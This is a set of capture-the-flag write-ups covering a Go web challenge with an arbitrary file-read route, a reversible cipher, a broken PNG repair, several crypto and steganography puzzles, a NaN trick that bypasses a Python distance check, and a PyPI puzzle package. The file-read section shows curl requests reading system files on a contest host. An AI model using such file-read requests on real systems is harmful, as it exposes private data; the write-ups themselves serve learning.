func handleError(w http.ResponseWriter, err error) { if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) fmt.Print(err) }}
func game(w http.ResponseWriter) { problems, err := os.Open("problems/problems.csv") if err != nil { fmt.Println(err) }
data, err := csv.NewReader(problems).ReadAll()
//Create empty struct to contain questions and their indexes questions := struct { Index int Question string }{} ques := make([]struct { Index int Question string }, 0) for i, v := range data { questions.Index = i + 1 questions.Question = v[0] ques = append(ques, questions) }
err = probs.ExecuteTemplate(w, "math.gohtml", ques) handleError(w, err)}```
This is where the routes are setup:
```golangfunc main() { mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)
//Serve File with Directory listing http.ListenAndServe(":8080", mux)}```
We know what `/backup/` does now, along with `/` `/problems/math`. But what about this one?
```mux.GET("/test/:directory/:theme/:whynot", super)```
That is mapped to this function:
```golangfunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}
func handleError(w http.ResponseWriter, err error) { if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) fmt.Print(err) }}```
Wow, that can read arbitrary files with the right request.
```root@kali:~# curl -s "http://web1.cybercastors.com:14436/test///proc"Directories: /File: procContents:root@kali:~# curl -s "http://web1.cybercastors.com:14436/test//proc/meminfo"Directories: /procFile: meminfoContents: DirectMap1G: 8388608 kB```
And it will tell you if a given directory exists or not.
```root@kali:~# curl -s "http://web1.cybercastors.com:14436/test///problems"open ///problems: no such file or directoryDirectories: /File: problemsContents: root@kali:~# curl -s "http://web1.cybercastors.com:14436/test///home"Directories: /File: homeContents: ```
## Solution
At this point, we could use a dictionary attack to get a directory listing of the target system with this knowledge, but it would take awhile to run. Turns out there is no need for that on this problem.
My teammate "bigpick" noticed that the intern's name in the description was "Jeff", so he tried `/home/jeff` which worked, and then tried looking for files under there and found `flag.txt`:
```root@kali:~# curl -s "http://web1.cybercastors.com:14436/test/home/jeff/flag.txt"Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
That flag failed though, because apparently someone can't spell "CTF". This is the actual value accepted by the scoreboard:
```castorsCTF{wh0_l4iks_qUiZZ3s_4nyW4y}```
|
# Snakes and Ladders
## Description
```The flag is fqtbjfub4uj_0_d00151a52523e510f3e50521814141c. The attached file may be useful.```
Category: Reversing
## Analysis
Let's see what's in `main.py`:
```pythondef xor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))
def encrypt(a): some_text = a[::2]
randnum = 14 text_length = len(some_text) endtext = "" for i in range(1, text_length + 1): weirdtext = some_text[i - 1] if weirdtext >= "a" and weirdtext <= "z": weirdtext = chr(ord(weirdtext) + randnum) if weirdtext > "z": weirdtext = chr(ord(weirdtext) - 26) endtext += weirdtext randtext = a[1::2]
xored = xor("aaaaaaaaaaaaaaa", randtext) hex_xored = xored.encode("utf-8").hex()
return endtext + hex_xored
def decrypt(msg): raise NotImplementedError
def main(): opt = input("Would you like to [E]ncrypt or [D]ecrypt? ") if opt[:1].lower() == "e": msg = input("Enter message to encrypt: ") print(f"Encrypted message: {encrypt(msg)}") elif opt[:1].lower() == "d": msg = input("Enter message to decrypt: ") print(f"Decrypted message: {decrypt(msg)}")
if __name__ == "__main__": main()```
Alright, we just have to implement `decrypt()` to undo the transformations we see in `encrypt()`. Let's see what happens when we encrypt a message.
```bashkali@kali:~/Downloads$ python3 main.pyWould you like to [E]ncrypt or [D]ecrypt? eEnter message to encrypt: helloworldEncrypted message: vzccz040d161305kali@kali:~/Downloads$ python3 main.pyWould you like to [E]ncrypt or [D]ecrypt? eEnter message to encrypt: aaaaaaaaEncrypted message: oooo00000000kali@kali:~/Downloads$ python3 main.pyWould you like to [E]ncrypt or [D]ecrypt? eEnter message to encrypt: bbbbEncrypted message: pp0303```
`encrypt()` takes the provided input string and splits it into 2 strings:
1) `some_text` with the even letters (starting from 0), which gets passed into a loop that applies ROT-14 on the lowercase letters.
2) `randtext` with the odd letters (starting from 1), which gets XOR'd with a static string and converted to a string of hex values.
After those steps are done, it returns the concatenation of the 2 resulting strings.
## Solution
It would have been nice if there was a delimiter of some sort to separate the 2 strings. Oh well, we just need the flag, so I'll add the space in manually. Implement the `decrypt()` function to reverse the transformations described above, with a space separating the 2 strings.
```pythonimport binascii
def xor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))
def unxor(s1,s2): return ''.join(chr(ord(a) ^ b) for a, b in zip(s1, s2))
def encrypt(a): some_text = a[::2]
randnum = 14 text_length = len(some_text) endtext = "" for i in range(1, text_length + 1): weirdtext = some_text[i - 1] if weirdtext >= "a" and weirdtext <= "z": weirdtext = chr(ord(weirdtext) + randnum) if weirdtext > "z": weirdtext = chr(ord(weirdtext) - 26) endtext += weirdtext randtext = a[1::2]
xored = xor("aaaaaaaaaaaaaaa", randtext) hex_xored = xored.encode("utf-8").hex()
return endtext + ' ' + hex_xored
def decrypt(msg): # let's just throw a space in there manually, that seems easier. endtext, hex_xored = msg.strip().rstrip().split(" ")
randnum = 14 some_text = "" for i in range(1, len(endtext) + 1): weirdtext = endtext[i - 1] if weirdtext >= "a" and weirdtext <= "z": weirdtext = chr(ord(weirdtext) - randnum) if weirdtext < "a": weirdtext = chr(ord(weirdtext) + 26) some_text += weirdtext xored = binascii.unhexlify(hex_xored) randtext = unxor("aaaaaaaaaaaaaaa", xored)
cleartext = "\n" for a, b in zip(some_text, randtext): cleartext += a + b
return cleartext
def main(): opt = input("Would you like to [E]ncrypt or [D]ecrypt? ") if opt[:1].lower() == "e": msg = input("Enter message to encrypt: ") print(f"Encrypted message: {encrypt(msg)}") elif opt[:1].lower() == "d": msg = input("Enter message to decrypt: ") print(f"Decrypted message: {decrypt(msg)}")
if __name__ == "__main__": main()```
Test some known input:
```bashkali@kali:~/Downloads$ python3 solve.py Would you like to [E]ncrypt or [D]ecrypt? eEnter message to encrypt: helloworldEncrypted message: vzccz 040d161305kali@kali:~/Downloads$ python3 solve.py Would you like to [E]ncrypt or [D]ecrypt? dEnter message to decrypt: vzccz 040d161305Decrypted message: helloworld```
Now we just have to run the flag from the description through it, with the extra space:
```bashkali@kali:~/Downloads$ perl -e 'print "d\n" . "fqtbjfub4uj_0_d 00151a52523e510f3e50521814141c\n"' | python3 solve.py Would you like to [E]ncrypt or [D]ecrypt? Enter message to decrypt: Decrypted message: ractf{n3v3r_g0nn4_g1v3_y0u_up}```
The flag is:
```ractf{n3v3r_g0nn4_g1v3_y0u_up}```
|
# Cut Short
## Description
```This image refuses to open in anything, which is a bit odd. Open it for the flag!```
Category: Forensics
## Analysis
I did a quick `apt-cache search` to see what png tools are available and found these:
```kali@kali:~/Downloads/ractf/cut_short$ pngcheck flag.png flag.png first chunk must be IHDRERROR: flag.pngkali@kali:~/Downloads/ractf/cut_short$ pngmeta flag.png libpng error: IEND: out of placepngmeta: libpng read error for flag.png```
Now let's take a look with `hexdump`:
```kali@kali:~/Downloads/ractf/cut_short$ hd flag.png | head00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 49 45 4e 44 |.PNG........IEND|00000010 ae 42 60 82 00 00 00 0d 49 48 44 52 00 00 01 5e |.B`.....IHDR...^|00000020 00 00 00 96 08 06 00 00 00 96 e7 e0 77 00 00 20 |............w.. |00000030 00 49 44 41 54 78 9c ed 9d 09 d4 b5 d5 f8 c6 77 |.IDATx.........w|00000040 e6 79 9e 93 10 15 ca 50 49 86 a8 68 51 14 cb 90 |.y.....PI..hQ...|00000050 8c 19 ca 94 b2 94 84 4a a1 90 08 25 63 ad 0a 21 |.......J...%c..!|00000060 91 a8 64 2e 85 84 92 95 31 63 32 65 cc 3c a6 ff |..d.....1c2e.<..|00000070 fa 1d e7 fe fe f7 b9 9f 7b ef 67 3f c3 79 ce 73 |........{.g?.y.s|00000080 de 77 5f 6b 9d f5 7d ef 19 9f 61 ef 6b df fb ba |.w_k..}...a.k...|00000090 a7 b5 ae bc f2 ca 2b 43 41 41 41 41 c1 60 b8 4a |......+CAAAA.`.J|```
For comparison, here is what a healthy `.png` image looks like:
```kali@kali:~/Downloads/ractf/cut_short$ pngcheck defenit.png OK: defenit.png (1500x944, 32-bit RGB+alpha, non-interlaced, 97.7%).kali@kali:~/Downloads/ractf/cut_short$ pngmeta defenit.png pngmeta: PNG metadata for defenit.png:kali@kali:~/Downloads/ractf/cut_short$ hd defenit.png | head00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|00000010 00 00 05 dc 00 00 03 b0 08 06 00 00 00 24 d3 b6 |.............$..|00000020 7f 00 00 20 00 49 44 41 54 78 9c ec dd 0b 70 55 |... .IDATx....pU|00000030 f5 bd ff fd 5f 2e 24 d9 c9 de 04 13 a8 0f 27 a1 |...._.$.......'.|00000040 39 0e 43 68 0f 8c 28 38 10 b4 c3 ed 0f 9d d1 40 |9.Ch..(8.......@|00000050 1c 28 0c 81 b6 b6 a6 9d 78 a9 3c b5 04 91 d1 47 |.(......x.<....G|00000060 44 3c 3a c8 4d f8 07 6f 99 f3 04 e5 54 84 91 e2 |D<:.M..o....T...|00000070 1c 76 52 67 0c 7f 2e 8e d5 c0 23 28 0e 17 13 86 |.vRg......#(....|00000080 c1 fc 25 87 3f 6a 22 c9 de 21 21 04 7c e6 bb c8 |..%.?j"..!!.|...|00000090 b6 11 03 d9 49 d6 e5 b7 d6 7e bf 66 d2 76 2a ac |....I....~.f.v*.|```
In flag.png, IEND comes before IHDR, which seems wrong. What does it say in the spec?
* <http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html>
"A valid PNG image must contain an IHDR chunk, one or more IDAT chunks, and an IEND chunk."
```The IHDR chunk must appear FIRST. It contains:
Width: 4 bytes Height: 4 bytes Bit depth: 1 byte Color type: 1 byte Compression method: 1 byte Filter method: 1 byte Interlace method: 1 byte```
"The IEND chunk must appear LAST. It marks the end of the PNG datastream. The chunk's data field is empty."
Well, it already has an IEND chunk at the end:
```kali@kali:~/Downloads/ractf/cut_short$ hd flag.png | tail00003af0 f1 c5 61 fd f5 d7 9f a4 1a 97 ba b7 05 05 69 48 |..a...........iH|00003b00 57 63 f4 54 88 ad 69 a7 8d d5 88 42 bc 05 05 05 |Wc.T..i....B....|00003b10 05 03 a3 84 93 15 14 14 14 0c 8c 42 bc 05 05 05 |...........B....|00003b20 05 03 a3 10 6f 41 41 41 c1 c0 28 c4 5b 50 50 50 |....oAAA..(.[PPP|00003b30 30 30 0a f1 16 14 14 14 0c 8c 42 bc 05 05 05 05 |00........B.....|00003b40 03 a3 10 6f 41 41 41 c1 c0 28 c4 5b 50 50 50 30 |...oAAA..(.[PPP0|00003b50 30 0a f1 16 14 14 14 0c 89 10 c2 ff 01 bb 81 1f |0...............|00003b60 41 19 f7 a0 ca 00 00 00 00 49 45 4e 44 ae 42 60 |A........IEND.B`|00003b70 82 |.|00003b71```
So we just need to remove the IEND chunk from the beginning of the flag.
From the head of the file:
```kali@kali:~/Downloads/ractf/cut_short$ hd flag.png | head -200000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 49 45 4e 44 |.PNG........IEND|00000010 ae 42 60 82 00 00 00 0d 49 48 44 52 00 00 01 5e |.B`.....IHDR...^|```
We need to remove bytes 13 - 24:
```49 45 4e 44 ae 42 60 82 00 00 00 0d```
We can remove that with `dd`.
```kali@kali:~/Downloads/ractf/cut_short$ dd if=flag.png of=flag2.png bs=1 count=1212+0 records in12+0 records out12 bytes copied, 0.000200297 s, 59.9 kB/skali@kali:~/Downloads/ractf/cut_short$ hd flag2.png 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 |.PNG........|0000000ckali@kali:~/Downloads/ractf/cut_short$ dd if=flag.png bs=1 skip=24 >> flag2.png 15193+0 records in15193+0 records out15193 bytes (15 kB, 15 KiB) copied, 0.0220703 s, 688 kB/skali@kali:~/Downloads/ractf/cut_short$ hd flag2.png | head -200000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 49 48 44 52 |.PNG........IHDR|00000010 00 00 01 5e 00 00 00 96 08 06 00 00 00 96 e7 e0 |...^............|```
Run `pngcheck` on the new image... crap, there's another error.
```kali@kali:~/Downloads/ractf/cut_short$ pngcheck flag2.png flag2.png invalid IHDR lengthERROR: flag2.png```
From comparing `defenit.png` to `flag2.png`, it looks like I got the IHDR chunk in the right place.
```kali@kali:~/Downloads/ractf/cut_short$ hd defenit.png | head00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|00000010 00 00 05 dc 00 00 03 b0 08 06 00 00 00 24 d3 b6 |.............$..|00000020 7f 00 00 20 00 49 44 41 54 78 9c ec dd 0b 70 55 |... .IDATx....pU|00000030 f5 bd ff fd 5f 2e 24 d9 c9 de 04 13 a8 0f 27 a1 |...._.$.......'.|00000040 39 0e 43 68 0f 8c 28 38 10 b4 c3 ed 0f 9d d1 40 |9.Ch..(8.......@|00000050 1c 28 0c 81 b6 b6 a6 9d 78 a9 3c b5 04 91 d1 47 |.(......x.<....G|00000060 44 3c 3a c8 4d f8 07 6f 99 f3 04 e5 54 84 91 e2 |D<:.M..o....T...|00000070 1c 76 52 67 0c 7f 2e 8e d5 c0 23 28 0e 17 13 86 |.vRg......#(....|00000080 c1 fc 25 87 3f 6a 22 c9 de 21 21 04 7c e6 bb c8 |..%.?j"..!!.|...|00000090 b6 11 03 d9 49 d6 e5 b7 d6 7e bf 66 d2 76 2a ac |....I....~.f.v*.|kali@kali:~/Downloads/ractf/cut_short$ hd flag2.png | head00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 49 48 44 52 |.PNG........IHDR|00000010 00 00 01 5e 00 00 00 96 08 06 00 00 00 96 e7 e0 |...^............|00000020 77 00 00 20 00 49 44 41 54 78 9c ed 9d 09 d4 b5 |w.. .IDATx......|00000030 d5 f8 c6 77 e6 79 9e 93 10 15 ca 50 49 86 a8 68 |...w.y.....PI..h|00000040 51 14 cb 90 8c 19 ca 94 b2 94 84 4a a1 90 08 25 |Q..........J...%|00000050 63 ad 0a 21 91 a8 64 2e 85 84 92 95 31 63 32 65 |c..!..d.....1c2e|00000060 cc 3c a6 ff fa 1d e7 fe fe f7 b9 9f 7b ef 67 3f |.<..........{.g?|00000070 c3 79 ce 73 de 77 5f 6b 9d f5 7d ef 19 9f 61 ef |.y.s.w_k..}...a.|00000080 6b df fb ba a7 b5 ae bc f2 ca 2b 43 41 41 41 41 |k.........+CAAAA|00000090 c1 60 b8 4a b9 d4 05 05 05 05 c3 a2 10 6f 41 41 |.`.J.........oAA|```
What am I missing?
## Solution
At this point, I searched for more tools to help, and found PCRT:
* <https://github.com/sherlly/PCRT>
```kali@kali:~/Downloads/ractf/cut_short$ git clone https://github.com/sherlly/PCRT.gitCloning into 'PCRT'...remote: Enumerating objects: 23, done.remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23Unpacking objects: 100% (23/23), done.kali@kali:~/Downloads/ractf/cut_short$ python PCRT/PCRT.py -i flag2.png -o flag3.png
____ ____ ____ _____ | _ \ / ___| _ \_ _| | |_) | | | |_) || | | __/| |___| _ < | | |_| \____|_| \_\|_|
PNG Check & Repair Tool
Project address: https://github.com/sherlly/PCRTAuthor: sherllyVersion: 1.1
[Finished] Correct PNG headerTraceback (most recent call last): File "PCRT/PCRT.py", line 780, in <module> my_png.CheckPNG() File "PCRT/PCRT.py", line 424, in CheckPNG res=self.CheckIHDR(data) File "PCRT/PCRT.py", line 513, in CheckIHDR width,height=struct.unpack('!II',chunk_ihdr[:8])struct.error: unpack requires a string argument of length 8```
Ugh, I must have screwed up the IHDR or something. What about the original image?
```kali@kali:~/Downloads/ractf/cut_short$ python PCRT/PCRT.py -i flag.png -o flag3.png
____ ____ ____ _____ | _ \ / ___| _ \_ _| | |_) | | | |_) || | | __/| |___| _ < | | |_| \____|_| \_\|_|
PNG Check & Repair Tool
Project address: https://github.com/sherlly/PCRTAuthor: sherllyVersion: 1.1
[Finished] Correct PNG header[Finished] Correct IHDR CRC (offset: 0x29): 96E7E077[Finished] IHDR chunk check complete (offset: 0x14)[Finished] Correct IDAT chunk data length (offset: 0x2D length: 2000)[Finished] Correct IDAT CRC (offset: 0x2035): 3196B0B1[Detected] Error IDAT chunk data length! (offset: 0x2039)chunk length:1B20actual length:1B2C[Notice] Try fixing it? (y or n) [default:y] y[Warning] Only fix because of DOS->Unix conversion[Failed] Fixing failed, auto discard this operation...[Finished] Correct IDAT chunk data length (offset: 0x3B71 length: 1B20)[Finished] Correct IDAT CRC (offset: 0x5699): 19F7A0CA[Finished] IDAT chunk check complete (offset: 0x2D)[Finished] Correct IEND chunkIHDR)cted] Some data (length: 15197) append in the end ([Notice] Try extracting them in: <1>File <2>Terminal <3>Quit [default:3] [Finished] IEND chunk check complete[Finished] PNG check complete[Notice] Show the repaired image? (y or n) [default:n] ykali@kali:~/Downloads/ractf/cut_short$ pngcheck flag3.png flag3.png additional data after IEND chunkERROR: flag3.png```
Sweet! That's good enough to get the flag.
The flag is:
```ractf{1m4ge_t4mp3r1ng_ftw}```
|
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.
## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
# Teleport
> One of our admins plays a strange game which can be accessed over TCP. He's been playing for a while but can't get the flag! See if you can help him out.
We can connect to a remote server, and the source is given:
```pythonimport math
x = 0.0z = 0.0flag_x = 10000000000000.0flag_z = 10000000000000.0print("Your player is at 0,0")print("The flag is at 10000000000000, 10000000000000")print("Enter your next position in the form x,y")print("You can move a maximum of 10 metres at a time")for _ in range(100): print(f"Current position: {x}, {z}") try: move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1]) except Exception: continue diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else: x = new_x z = new_z if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```
## Description
We get a Python code, and we need to move to the flag. We are originally at position `(0,0)`, can move only of at most `10`, and need to get to `(10000000000000, 10000000000000)` in less than 100 movements. In other words: we need to break the code.
When we enter a string, it is split with `,`, then each part is converted to float. If an exception happens, we reach `continue` and can try again.
If the string translates correctly, then those are our new coordinates, and a check is performed using `math.sqrt` to verify the new position is not too far from the previous one. If not, we reach the new coordinates.
## Solution
My first thought was to try to pwn the program by using the `input` function, which is vulnerable in Python 2. However, the syntax suggest Python 3, so this did not work.
Then I tried to overflow the float, but this does not work either as in Python, overflows produce an exception.
The solution found was to use special value `nan` (Not a number), which is interpreted as float in Python. Moreover, `float('nan') > 10` is `False` as `nan` cannot be compared to numbers.
Therefore the exploit is as follow:- first send `nan, nan`. The new position will be `nan, nan`- second send `10000000000000, 10000000000000`. We reach the flag.
Flag: `ractf{fl0at1ng_p01nt_15_h4rd}` |
# Spentalkux
> Spentalkux ??
## Description
With such a small description, and no file attached, the first thing to do is to use your favorite search engine to find something interesting. In this case, I have found a Python library: [spentalkux](https://pypi.org/project/spentalkux/).
## Solution
### First version
Let's install it with `pip install spentalkux`. Once it is installed, I guess I could try to import it, but I prefer to look directly at the source to make sure there is nothing malicious. On my computer it is stored in the folder `python3.8/site-packages/spentalkux/__init__.py`.
```pythonimport base64p="""aW1wb3J0IHRpbWUKCmdvX2F3YXlfbXNncyA9IFsiR29vZGJ5ZSBub3cuIiwgIlRoYXQncyB5b3VyIGN1ZSB0byBsZWF2ZSwgYnJvIiwgIkV4aXQgc3RhZ2UgbGVmdCwgcGFsIiwgIk9GRiBZT1UgUE9QLiIsICJZb3Uga25vdyB3aGF0IEkgaGF2ZW4ndCBnb3QgdGltZSBmb3IgdGhpcyIsICJGb3JraW5nIGFuZCBleGVjdXRpbmcgcm0gLXJmLiJdCgp0aW1lLnNsZWVwKDEpCnByaW50KCJIZWxsby4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJDYW4gSSBoZWxwIHlvdT8iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJPaCwgeW91J3JlIGxvb2tpbmcgZm9yIHNvbWV0aGluZyB0byBkbyB3aXRoICp0aGF0Ki4iKQp0aW1lLnNsZWVwKDIpCnByaW50KCJNeSBjcmVhdG9yIGxlZnQgdGhpcyBiZWhpbmQgYnV0LCBJIHdvbmRlciB3aGF0IHRoZSBrZXkgaXM/IEkgZG9uJ3Qga25vdywgYnV0IGlmIEkgZGlkIEkgd291bGQgc2F5IGl0J3MgYWJvdXQgMTAgY2hhcmFjdGVycy4iKQp0aW1lLnNsZWVwKDQpCnByaW50KCJFbmpveSB0aGlzLiIpCnRpbWUuc2xlZXAoMSkKcHJpbnQoIlp0cHloLCBJcSBpaXInanQgdnJ0ZHR4YSBxenh3IGxodSdnbyBneGZwa3J3IHR6IHBja3YgYmMgeWJ0ZXZ5Li4uICpmZmlpZXlhbm8qLiBOZXcgY2lrbSBzZWthYiBndSB4dXggY3NrZml3Y2tyIGJzIHpmeW8gc2kgbGdtcGQ6Ly96dXBsdGZ2Zy5jencvbHhvL1FHdk0wc2E2IikKdGltZS5zbGVlcCg1KQpmb3IgaSBpbiBnb19hd2F5X21zZ3M6CiAgICB0aW1lLnNsZWVwKDMpCiAgICBwcmludChpKQp0aW1lLnNsZWVwKDAuNSk="""exec(base64.b64decode(p.encode("ascii")))```
So we actually have a Python code base64 encoded which is executed. Let's see what it does:
```pythonimport time
go_away_msgs = ["Goodbye now.", "That's your cue to leave, bro", "Exit stage left, pal", "OFF YOU POP.", "You know what I haven't got time for this", "Forking and executing rm -rf."]
time.sleep(1)print("Hello.")time.sleep(2)print("Can I help you?")time.sleep(2)print("Oh, you're looking for something to do with *that*.")time.sleep(2)print("My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6")time.sleep(5)for i in go_away_msgs: time.sleep(3) print(i)time.sleep(0.5)```
Nothing special here, only prints, and a ciphertext. This is a Vigenère code, which I decrypt with [dcode](https://www.dcode.fr/chiffre-vigenere).
```Hello, If you're reading this you've managed to find my little... *interface*. The next stage of the challenge is over at https://pastebin.com/raw/BCiT0sp6```
So let's head there, we find a very big file:
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Using [Cyberchef](https://gchq.github.io/CyberChef/), I use the Magic tool and it recognizes an image hex encoded. (Alternatively, use `From hex -> Render image`)
We see some binary code in the image, so let's decrypt it with Cyberchef. We get `_herring`. So all of this is a red herring...
The image tells us `look back into the past`. If I return on spentalkux webpage, I see there is an older version of the package. So probably I need to begin again, but with the older version.
## Older version
Once again, I install the older version with `pip install spentalkux==0.9`, and I look at the source. I once again have a base64 encoded source, it translates as:
```pythonimport time
go_away_msgs = ["This is the part where you *leave*, bro.", "Look, if you don't get outta here soon ima run rm -rf on ya", "I don't want you here. GO AWAY.", "Leave me alone now.", "GOODBYE!", "I used to want you dead but...", "now I only want you gone."]
